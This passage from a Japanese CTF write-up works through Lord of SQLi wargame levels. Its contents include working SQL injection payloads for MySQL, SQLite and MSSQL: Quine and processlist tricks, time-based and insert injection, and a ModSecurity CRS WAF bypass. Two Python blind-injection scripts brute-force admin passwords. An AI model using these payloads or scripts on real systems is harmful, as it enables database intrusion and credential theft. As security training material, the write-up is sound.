+------+-------------+-------------------+
2 rows in set (0.00 sec)

おお、書き換わった。問題は今回の問題でupdateを差し込めるのか。

ここで、問題のクエリをもう一度見てみます。

insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')

$_SERVER[REMOTE_ADDR]は書き換えられないので、実質書き換えられるのは最後のみ。ここで何かしようとするとupdateは使えなさそう。
おや、insert文の例を見ていたときに、「復数レコードを一気に追加」という書き方を見たけど、これなら使えそう。

insert into prob_phantom values(0,MY_IP_ADDRESS,'hoge'),(0,MY_IP_ADDRESS,'fuga')

みたいな。これだと

?joinmail=hoge'),(0,MY_IP_ADDRESS,'fuga

※urlエンコードする

で実現できそう。

更に、さっきの select where で値を引っ張ってくる方法を使えば、

insert into prob_phantom values(0,MY_IP_ADDRESS,'hoge'),(0,MY_IP_ADDRESS,(select ips.email from ips where ips.no=1))#')

で行けるんじゃないかしら。まずはlocalで試してみる。

mysql> select * from ips;
+------+-----------+--------------------+
| no   | ip        | email              |
+------+-----------+--------------------+
|    1 | 127.0.0.1 | admin@examplie.com |
+------+-----------+--------------------+
1 row in set (0.00 sec)

mysql> insert into ips values(0,'111.111.111.111','hoge'),(0,'111.111.111.111',(select email from ips where no=1));
ERROR 1093 (HY000): You can't specify target table 'ips' for update in FROM clause

あらま。ERRORだ。

このエラーは、テーブルを変更し、さらにサブクエリーで同じテーブルから選択しようとする次のような場合に発生します。

ということで、同じテーブルから選択しようとすると怒られるみたい。

You can't specify target table '***' for update in FROM clause〜MySQLにて、サブクエリのみに適用されるエラーがある〜 - 君は心理学者なのか?

こちらに解決方法が載っていた。更に副問合せにしてしまうという方法。他にも、ASを使わずにaliasを付けてあげる方法もあるみたい。こっちのほうがスッキリかけるかな。

副問合せバージョン

insert into ips values(0,'111.111.111.111','hoge'),(0,'111.111.111.111',(select email from (select email from ips where no=1) as tmp));

aliasバージョン

insert into ips values(0,'111.111.111.111','hoge'),(0,'111.111.111.111',(select email from ips tmp where no=1));

どちらもlocalではクエリが通りました👍

mysql> select * from ips;
+------+-----------+--------------------+
| no   | ip        | email              |
+------+-----------+--------------------+
|    1 | 127.0.0.1 | admin@examplie.com |
+------+-----------+--------------------+
1 row in set (0.00 sec)

mysql> insert into ips values(0,'111.111.111.111','hoge'),(0,'111.111.111.111',(select email from ips tmp where no=1));
Query OK, 2 rows affected (0.00 sec)
Records: 2  Duplicates: 0  Warnings: 0

mysql> select * from ips;
+------+-----------------+--------------------+
| no   | ip              | email              |
+------+-----------------+--------------------+
|    1 | 127.0.0.1       | admin@examplie.com |
|    0 | 111.111.111.111 | hoge               |
|    0 | 111.111.111.111 | admin@examplie.com |
+------+-----------------+--------------------+

こんな感じ。このクエリなら送れそう。

insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','hoge'),(0,'{MY_IP_ADDRESS}',select email from prob_phantom tmp where no=1)#')

これをMY_IP_ADDRESSを置き換え、urlエンコードして送ります。
おー、ip=MY_IP_ADDRESSのレコードにadminのemailが追加されました🙌
最後はクエリのemailに出てきたやつを入れればOK

ouroboros

query : select pw from prob_ouroboros where pw=''

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
  if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");
  highlight_file(__FILE__);
?>

prob,_,.,rollup,join,@が使用できない。
何かデータが取れたらpwを表示してくれ、更にこれと入力が一致すればクリア。

select pw from prob_ouroboros where pw='' or 1#'

これ入れてみたけど何も出ず。
ハテ?なんのレコードも引っかからなかったということ?なんにも入ってないの?
じゃあ green_dragon でやったように、outputを作ってあげたら良いのかな。

select pw from prob_ouroboros where pw='' union select 1#'

Pw : 1 がでた!

うーん、でもgrenn_dragonではここで入れたresultの値を使って再度クエリを投げるようになってたけど、今回は再クエリ無しで$result['pw'] === $_GET['pw']を満たさないといけない。

入力parameterと出力parameterが一致…。どうやって…。
他の方のwriteupを薄目で見たところ、"Quine SQL injection"というらしい。
Quineはweblio和英辞典によると、

コンピュータプログラムの一種で、自身のソースコードと完全に同じ文字列を出力するプログラムである

とのこと。おーこれこれ。これがほしい。
MySQLの Quine SQL Injectionでググってみると、韓国語のサイトがたくさんヒットする。The Load of SQLiの作者も韓国っぽいので、韓国ではやってるのかな?用途はそんなにないので、CTFで役に立つくらいかな、とある。

下記のサイトを参考に、クエリを組み立ててみます。

SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine

他のDBでもだいたいやることは同じようで、CHARがCHRだったりといった違いっぽい。
localで試してみると

mysql> SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine
    -> ;
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Quine                                                                                                                                                                                                      |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

とても見にくいけど、送ったクエリ分がそのままQuineとして返ってきています。これはそのまま使えそう。

select pw from prob_ouroboros where pw=''union SELECT REPLACE(REPLACE('"union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine#',CHAR(34),CHAR(39)),CHAR(36),'"union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine#') AS Quine#'

このクエリで通った🙌
こんな手法もあるんだねぇ!

zombie

query : select pw from prob_zombie where pw=''

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect("zombie");
  if(preg_match('/rollup|join|ace|@/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_zombie where pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
  if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("zombie");
  highlight_file(__FILE__);
?>

今度もまた、rollupjoin,@、加えてaceというのも使用できない。
さっきと同じく、何かしらresult['pw']が取れたら、表示してくれる。で、result['pw']_GET['pw']が一致すればOK。

さっきと同じ方法で取れるじゃん!と思ったら、REPLACEが使えない!
REPLACEの代替としては、

INSERT...ON DUPLICATE KEY UPDATE

が挙げられるっぽい。これを使うとめちゃくちゃ長くなりそうだ…。あと、DUPLICATE調べたときに出てきた、uniqueな列が無いと使えない。あと、回文っぽい感じの手法なので、この置き換えは無理そう。

まずはレコードがあるか調べてみます。

select pw from prob_zombie where pw='' or 1#'

Pw :が表示されない。また中身が無いのか。

select pw from prob_zombie where pw='' union select 1#'

出た。Pw : 1。ここもuroboros問題と同じ。replaceが使えないだけ…。

またさっぱりわからないので、他のwriteupを薄目で見てみると、information_schema.processlistというワードが。もうほぼ答えじゃんって感じだけど、調べてみる。

PROCESSLIST テーブルは、どのスレッドが動作しているかに関する情報を提供します。

なるほど。localで実行してみます。

mysql> show processlist;
+----+-----------------+-----------+------+---------+-------+------------------------+------------------+
| Id | User            | Host      | db   | Command | Time  | State                  | Info             |
+----+-----------------+-----------+------+---------+-------+------------------------+------------------+
|  4 | event_scheduler | localhost | NULL | Daemon  | 87711 | Waiting on empty queue | NULL             |
|  9 | root            | localhost | test | Query   |     0 | starting               | show processlist |
+----+-----------------+-----------+------+---------+-------+------------------------+------------------+
2 rows in set (0.01 sec)

ほうほう。今はroot userで実行しているので、User=root,Command=QueryInfoに今実行したクエリが出てきます。これだけを抽出するようにしてみます。

mysql> select Info from information_schema.processlist where Command='Query';
+-----------------------------------------------------------------------+
| Info                                                                  |
+-----------------------------------------------------------------------+
| select Info from information_schema.processlist where Command='Query' |
+-----------------------------------------------------------------------+
1 row in set (0.00 sec)

ヨシ!あとは問題のクエリにいい感じに繋げられるか。

select pw from prob_zombie where pw=''union select Info from information_schema.processlist where Command='Query'

結果

Pw : select pw from prob_zombie where pw=''union select Info from information_schema.processlist where Command='Query'

あーそうか!クエリの頭から取ってきちゃうんだ!入力値と合わない。困ったな?
substrで範囲を指定して、入力する範囲に絞ってみる。

select pw from prob_zombie where pw=''union select substr(Info,38,89) from information_schema.processlist where Command='Query'

これで通った!

alien

query : select id from prob_alien where no=

query2 : select id from prob_alien where no=''

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i', $_GET['no'])) exit("No Hack ~_~");
  $query = "select id from prob_alien where no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $query2 = "select id from prob_alien where no='{$_GET[no]}'";
  echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
  if($_GET['no']){
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'] !== "admin") exit("sandbox1");
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'] === "admin") exit("sandbox2");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'] === "admin") exit("sandbox");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'] === "admin") solve("alien");
  }
  highlight_file(__FILE__);
?>

noadmin,adn,or,if,coalesce,case,_,.,prob,timeが使えない。厳しい。
queryquery2の違いは、noにシングルクォートがついてくるかどうか。
クリアするための条件がよくわからない。条件分岐が4つあって、

  1. queryで取れたレコードのid"admin"でない -> sandbox1
  2. queryで取れたレコードのid"admin" -> sandbox2
  3. query2で取れたレコードのid"admin" -> sandbox
  4. query2で取れたレコードのid"admin" -> クリア

はて??同じクエリの結果だから同じ結果が返るはずなのに。特に3と4の違いがわからん。
1回目のクエリと2回目のクエリかで結果が変わるようなクエリの書き方があるのか?
色々試しながら挙動を確認してみよう。

まず、query1を通すために

select id from prob_alien where no=1 || 1

を入れてみると、sandbox1が表示。

select id from prob_alien where no=0 || id=0x61646d696e

でも同様。adminレコードは存在しないということか。union selectで作成してあげる。

select id from prob_alien where no=0 union select 0x61646d696e

-> sandbox2

今度はquery2の最初に引っ掛けてsandboxと表示させる条件を探してみる。

select id from prob_alien where no='' union select 0x61646d696e#'

query2が↑こうなるように、

?no=' union select 0x61646d696e#

を送ると、sandbox1が表示されてしまう。こっちに先に引っかかってexitしてしまうみたい。このとき、各クエリは

query : select id from prob_alien where no=' union select 0x61646d696e#
query2 : select id from prob_alien where no='' union select 0x61646d696e#'

と表示されている。
sandbox1, sandbox2の両方に引っかからにようにするクエリを探すのが先決みたい。 と言うところで、さっき自分で書いた

1回目のクエリと2回目のクエリかで結果が変わるようなクエリの書き方があるのか?

を思い出してみる。
もしかして、1,2,3回目でDBにデータを入れたり消したりできればよいのでは?試してみよう。

select id from prob_alien where no=%0a insert into prob_ailen values ('admin');

みたいなクエリを投げられないかしら。prob_ailenが禁止されているのをどうするか問題。これも封じられてるっぽいぞ。困った。

よーし気分を変えて、query1とquery2、両方に有効なクエリを考えてみよう。おなじ no 変数でクエリを組み立ててしまうので、何かしら策が必要。

query1はクォートなし,query2はクォートアリに着目する。#を挟んで、コメントアウトとみなすか、文字列の中とみなすかでquery1とquery2、両方のクエリが通るようにできそう。

やってみよう。

?no=1 union select 0x61646d696e#' || union select 0x61646d696e#

を入れると(要urlencode)、

query : select id from prob_alien where no=1 union select 0x61646d696e#' union select 0x61646d696e#
query2 : select id from prob_alien where no='1 union select 0x61646d696e#' union select 0x61646d696e#'
sandbox2

意図通り、queryでは前半部分が、query2では後半部分のクエリが有効になりそう!

次は、クエリが走るたびに結果を変える方法。
ここで注目すべきは、この条件式を評価するときに毎回クエリを実行していること。
何個か前のTime-based injectionでも学んだ通り、Time-basedの手法だと、クエリが走れば結果がわかる。クエリが走れば状況が変わる。
さっきみたいにレコードを書き換えるよりは時間を操ったほうが楽そう。

ということで、

  • queryを実行するごとにsleepさせて時間をすすめる
  • query内で、現在時刻の秒数が例えば奇数だったら'admin'取れる、偶数だったら取れない、みたいな条件をつける

これで行けそう。ただ禁止句が多すぎる…。

まずは各クエリにsleep(1)を挟んでnow()で時刻を取得、条件分岐に使用して結果を変えるのを検証してみます。

query : select id from prob_alien where no=1 union select case when sleep(1) && now()%2=1 then 0x61646d696e else 'kusuwada' end

これで行けるやろ!と思ったらNo Hack! caseが使えなかった。ifも使えない…。 こうなったら、now()%2sleep(1) && now()%2=1の結果を数値として使うか。char(97+now()%2)とすれば、adminの最初の文字がabになるでしょう。

query : select id from prob_alien where no=1 union select char(97,100,109,105,110)

これを試してみると、sandbox2が表示。ヨシ。これにsleep,nowを加えてみると

query : select id from prob_alien where no=1 union select char(97+(sleep(1)&&now()%2=1),100,109,105,110)

あれ、これだと必ず sandbox2 になってしまうな?…と思ったら、sleep()のreturnは0なんですって。
気を取り直して

query : select id from prob_alien where no=1 union select char(97+(!sleep(1)&&now()%2=1),100,109,105,110)

このクエリを投げると、sandbox1と、どのケースにも当てはまらない、を行ったり来たりするようになりました!前進 !
では、後半も同様にしてつなげて、

select id from prob_alien where no=1 union select char(97+(!sleep(1)&&now()%2=1),100,109,105,110)#' union select char(97+(!sleep(1)&&now()%2=0),100,109,105,110)#

お!一発目のクエリでsandboxが表示されたぞ!何回か試行してみます!
... sandbox1 と sandbox を繰り返している…。

これは条件がよろしくないっぽい。
1回目はadmin、2回目はadmin以外、3回目もadmin以外、4回目でadmin、となる必要があるので、3,4回目の判断条件は逆転する必要がある。

select id from prob_alien where no=1 union select char(97+(!sleep(1)&&now()%2=1),100,109,105,110)#' union select char(97+(!sleep(1)&&now()%2=0),100,109,105,110)#

このクエリで、3回目くらいの試行でClear!!!やったーーーー!!!!🙌

cthulhu

modsec.rubiya.kr server is running ModSecurity Core Rule Set v3.1.0 with paranoia level 1(default). It is the latest version now.(2019.05)

Can you bypass the WAF?

query : select id from prob_cthulhu where id='' and pw=''

<?php
  include "./welcome.php";
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("cthulhu");
  highlight_file(__FILE__);
?>

クトゥルフ。聞いたことないの出てきた。
今回はWAFをbypassする問題みたい。serverのFWとversionが親切にも書いてある。
クエリ自体はとてもシンプルで、

select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'

何か結果が取れればクリア。
多分WAFにえらい弾かれるんだろうなー!

普通のクエリを入れてみると、

query : select id from prob_cthulhu where id='1' and pw='test'

クエリが表示されて終わり。

query : select id from prob_cthulhu where id='1' and pw='' or 1#

こんな感じで入れると、

Forbidden You don't have permission to access /chall/cthulhu_c26ae41c4af4c2d7b21c19cbb9009604.php on this server.

これが出る。これが出るとWAFで弾かれたってことなんだろう。

select id from prob_cthulhu where id='\' and pw='or 1#'

これ、WAF通らなさそうだけどなー、通るかなー?と思って入れたら、通った…。これは想定解?

death

query : select id from prob_death where id='' and pw=md5('')

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("death");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

death、死。これもモンスターの名前なのかな?
取得できたデータのidadminならクリア。そうでない場合は、result['id']があれば表示してくれる。
pwはこのクエリをそのまま活かすとすると、md5hashした値を突っ込まないといけない。

select id from prob_death where id='\' and pw=md5('or 1#')

これをやってみる。

?id=%5c&pw=or+1%23

Hello guest You are not admin :(

おっ。guestが釣れた。

select id from prob_death where id='\' and pw=md5('or id=0x61646d696e#')

ならば、id='admin'をadminが禁止されているのでhexにして

?id=%5c&pw=or+id=0x61646d696e%23

えー!解けちゃった!!!
なんか急に難易度下がってる??

godzilla

query : select id from prob_godzilla where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_godzilla where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello admin</h2>";
   
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_godzilla where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla");
  highlight_file(__FILE__);
?>

ゴッズィーラ!来た!
一回目のクエリで何かレコードが取れれば、"Hello admin" を表示してくれる。
入力したpwadminのものと一致していればクリア。

これもそんなに制約がないし、だいぶ昔の問題で出てきたテクニックだけで解けそう。どういう問題構成なんだろう?

select id from prob_godzilla where id='\' and pw='or 1#'

を入れると、Hello admin がちゃんと表示されることを確認。
DBから取得した値を直接表示してくれるわけではないので、BlindInjection。substrを使ってみる。

select id from prob_godzilla where id='\' and pw='or id='admin' and substr(pw,x,1)=x#'

これで BlindInjection出来そう。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import requests
import urllib.parse

url = os.environ['SQLI_URL']
cookie = os.environ['SQLI_COOKIE']
candidates = [chr(i) for i in range(48, 48+10)] + \
    [chr(i) for i in range(97, 97+26)] + \
    [chr(i) for i in range(65, 65+26)] + \
    ["_","@","$","!","?","&","#"]
headers= {'Cookie':'PHPSESSID='+cookie}

def attack(attack_sql):
    attack_url = url + '?id=%5c&pw=' + urllib.parse.quote(attack_sql)
    #print(attack_url)
    res = requests.get(attack_url, headers=headers)
    #print(res.text)
    return res

def create_length_query(length):
    query = "or id='admin' and length(pw)=" + str(length) + "#"
    return query

def create_pass_query(pw):
    query = "or id='admin' and substr(pw," + str(len(pw)) + ",1)='" + pw[-1] + "'#"
    return query

def check_result(res):
    if 'Hello admin' in res.text:
        return True
    return False

####################
###     main     ###
####################

# find pw length
for i in range(100):
    query = create_length_query(i)
    res = attack(query)
    if check_result(res):
        length = i
        break
print('pw length: ' + str(length))

# find pw
fix_pass = ""
for _ in range(length):
    for c in candidates:
        try_pass = fix_pass + str(c)
        print(try_pass)
        query = create_pass_query(try_pass)
        res = attack(query)
        if check_result(res):
            fix_pass += c
            break

print("enc_pass: " + fix_pass)

やっぱり難易度がだいぶ巻き戻っている…🤔

cyclops

query : select id,pw from prob_cyclops where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_cyclops where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['id'] === "first") && ($result['pw'] === "second")) solve("cyclops");//must use union select
  highlight_file(__FILE__);
?>

えー、なんかヒントも親切だし!
どういう事!?

今回はid,pwを取ってくる必要があるのと、多分DBにid=first,pw=secondというデータが存在していパターンっぽい。union selectでデータを作成して突っ込んであげれば良さそう。

select id,pw from prob_cyclops where id='\' and pw='union select 'first','second'#'

これをクエリパラメータにすると

?id=%5c&pw=union+select+%27first%27%2c%27second%27%23

あれま!Forbiddenページが。WAFに阻まれたっぽいぞ。ここまでも本当はWAFが簡単なクエリは弾く仕様だったのかな…?

?id=%5c&pw=union/**/select/**/%23

スペースを/**/に置き換えてここまでは弾かれずに持ってこれたけど、この先何を入れても弾かれる。
よし、こんなときの改行作戦だ。

select id,pw from prob_cyclops where id='\' and pw='union select
'first','second'#'
?id=%5c&pw=union/**/select/**/%0a1%2c1%23

だめかー。他、色々試してみたけど全部弾かれてしまった。
ちゃんとFireWallのアラを探すことにする。ModSecurity Core Rule Set v3.1.0 with paranoia level 1とのことだったので、これとSQL Injection,Bypass,MySQLとかでググるとこんなサイトが。

Bypass the latest CRS v3.1.0 rules of SQL injection · Issue #1181 · SpiderLabs/owasp-modsecurity-crs · GitHub

PL1での回避方法は2つ紹介されてていて、

  • a'+(SELECT 1)+'
  • -1' AND 2<@ UNION/*!SELECT*/1, version()'

1つ目は既に試してみてだめだったので、2つ目を試してみます。この2<@みたいなやつは、ODBCのためのエスケープなんだそう。

select id,pw from prob_cyclops where id='\' and pw='and 2<@ union/*!select*/1,1#'

うーん、弾かれちゃった。

では、PL2で紹介されてるやつを使ってみる。

  • -1'<@=1 OR {a 1}=1 OR '
  • -1'<@=1 OR {x (select 1)}='1
  • a'+(SELECT 1)+'
select id,pw from prob_cyclops where id='\' and pw='<@=1 union/**/select/**/1,1#'

お!これは通ったぞ!🙌

select id,pw from prob_cyclops where id='\' and pw='<@=1 union/**/select/**/'first','second'#'

クリアー!

chupacabra

query : select id from member where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/chupacabra.db");
  $query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id'] == "admin") solve("chupacabra");
  highlight_file(__FILE__);
?>

チュパカブラだ!

ソースを良く見てみると、今回はMySQLではなくSQLiteを使ってるっぽい。 id=adminのレコードが取れればクリア。

select id from member where id='' and pw=''or id='admin'--'
?pw=%27or+id%3D%27admin%27--

これでクリア。コメントアウト#から--に変わっただけ。

manticore

query : select id from member where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/manticore.db");
  $_GET['id'] = addslashes($_GET['id']);
  $_GET['pw'] = addslashes($_GET['pw']);
  $query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id'] == "admin") solve("manticore");
  highlight_file(__FILE__);
?>

またSQLite問題。id,pwがクエリに入る前にエスケープされてしまう。
試しに?id=%5cを入れてみると、

query : select id from member where id='\\' and pw=''

エスケープされてる。
id=adminのレコードが取れればクリア。

SQLiteになってこの問題が出たということは、SQLiteMySQLでのbackslask escapeの扱いが違うのでは?と問題の構成から解き方を推測する悪いやつをやってみる。
ググってみると、

How to escape unsupported character in SQLite on Android? - Stack Overflow

stackoverflowの出典で申し訳ないが、この会話の途中に

SQLite does not support C-Style backslash \ escaping. It uses the pascal style ' -> '' escaping instead.

とある。その前に読んでいた、こちらの記事でも「バックスラッシュが使えない」と明確には言っていなかったが、同じエスケープ方法が示されていた。

文字列のエスケープ処理 | SQLite入門

そうなんだねー。じゃあ今回追加されるバックスラッシュでは、エスケープできないとして下記のクエリを流してみます。あ、でも'admin'みたいに文字列として扱ってもらうには、追加される\がじゃまになるので他の方法で回避しなくては。
CHAR()関数が使えそう。

?id='or+id=char(97,100,109,105,110)--

これをurl encodeして送ると

query: select id from member where id='\'or id=char(97,100,109,105,110)-- and pw=''

となって通った👍

banshee

query : select id from member where id='admin' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/banshee.db");
  if(preg_match('/sqlite|member|_/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id']) echo "<h2>login success!</h2>";

  $query = "select pw from member where id='admin'"; 
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("banshee"); 
  highlight_file(__FILE__);
?>

またまたSQLite
1つ目のクエリで何か結果が返れば login success が表示される。
最終的にadminのpwがわかればクリア。Blind Injectionかな。

select id from member where id='admin' and pw=''or id='admin' and substr(pw,x,1)=x--'

こんなクエリで回せそう。substr関数の使い方はMySQLと同じ。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import requests
import urllib.parse

url = os.environ['SQLI_URL']
cookie = os.environ['SQLI_COOKIE']
candidates = [chr(i) for i in range(48, 48+10)] + \
    [chr(i) for i in range(97, 97+26)] + \
    [chr(i) for i in range(65, 65+26)] + \
    ["_","@","$","!","?","&","#"]
headers= {'Cookie':'PHPSESSID='+cookie}

def attack(attack_sql):
    attack_url = url + '?pw=' + urllib.parse.quote(attack_sql)
    #print(attack_url)
    res = requests.get(attack_url, headers=headers)
    #print(res.text)
    return res

def create_length_query(length):
    query = "'or id='admin' and length(pw)=" + str(length) + "--"
    return query

def create_pass_query(pw):
    query = "'or id='admin' and substr(pw," + str(len(pw)) + ",1)='" + pw[-1] + "'--"
    return query

def check_result(res):
    if 'login success!' in res.text:
        return True
    return False

####################
###     main     ###
####################

# find pw length
for i in range(100):
    query = create_length_query(i)
    res = attack(query)
    if check_result(res):
        length = i
        break
print('pw length: ' + str(length))

# find pw
fix_pass = ""
for _ in range(length):
    for c in candidates:
        try_pass = fix_pass + str(c)
        print(try_pass)
        query = create_pass_query(try_pass)
        res = attack(query)
        if check_result(res):
            fix_pass += c
            break

print("enc_pass: " + fix_pass)

poltergeist

query : select id from member where id='admin' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/poltergeist.db");
  $query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  if($poltergeistFlag === $_GET['pw']) solve("poltergeist");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
  highlight_file(__FILE__);
?>

まだまだ続きます、SQLite問題。
最後のコメントによると、flagはflag_{$hash}テーブルにあるそうです!全部のDBを見るようなクエリを書かないと取れない。また新しいやつだ。
これSECCON Beginnersの問題で何年か前に似たのが出てた気がする。

幸い、クエリで取得した結果は表示してくれるので、ここにtable名とか出せそう。

select name from sqlite_master where type='table';

でtable一覧が取得できるらしいのでやってみる。

select id from member where id='admin' and pw=''union select name from sqlite_master where type='table'--'

一つに絞らないと表示されないか、他のtable名が表示されるかと思ったけど、ラッキーなことに先頭がflagテーブルだったらしく、一発で表示された🙌

Hello flag_70c81d99

あとは、ここから列名を取って、レコードを取れば良さそう。

select sql from sqlite_master where type='table' and name='flag_70c81d99';

これでカラム名が取れるかな?

select id from member where id='admin' and pw=''union select sql from sqlite_master where type='table' and name='flag_70c81d99'--'

おお、これでスキーマが取得できる、すなわちカラム名も取得できた〜✌️

query : select id from member where id='admin' and pw=''union select sql from sqlite_master where type='table' and name='flag_70c81d99'--'

Hello CREATE TABLE flag_70c81d99 ( flag_0876285c TEXT )

あとはflagを取るのみ。

select id from member where id='admin' and pw=''union select flag_0876285c from flag_70c81d99--'

query : select id from member where id='admin' and pw=''union select flag_0876285c from flag_70c81d99--'

Hello FLAG{ea5d3bbdcc4aec9abe4a6a9f66eaaa13}

でたー!楽しい!

nessie

query : select id from prob_nessie where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect();
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from prob_nessie where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);
  if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));

  $query = "select pw from prob_nessie where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("nessie"); 
  highlight_file(__FILE__);
?>

ネッシー。あ、今度はMSSQLになってる!
adminのpwがわかればクリア。

クエリ中にエラーが発生した場合は、エラーで落ちるみたいなのでerror-basedが使えるかな?
でもそれにしては、禁止用語が多いし、使わなさそうな名前が多い気がするなぁ…。

  • コメントは--or/**/
  • 長さを返す関数はlen()
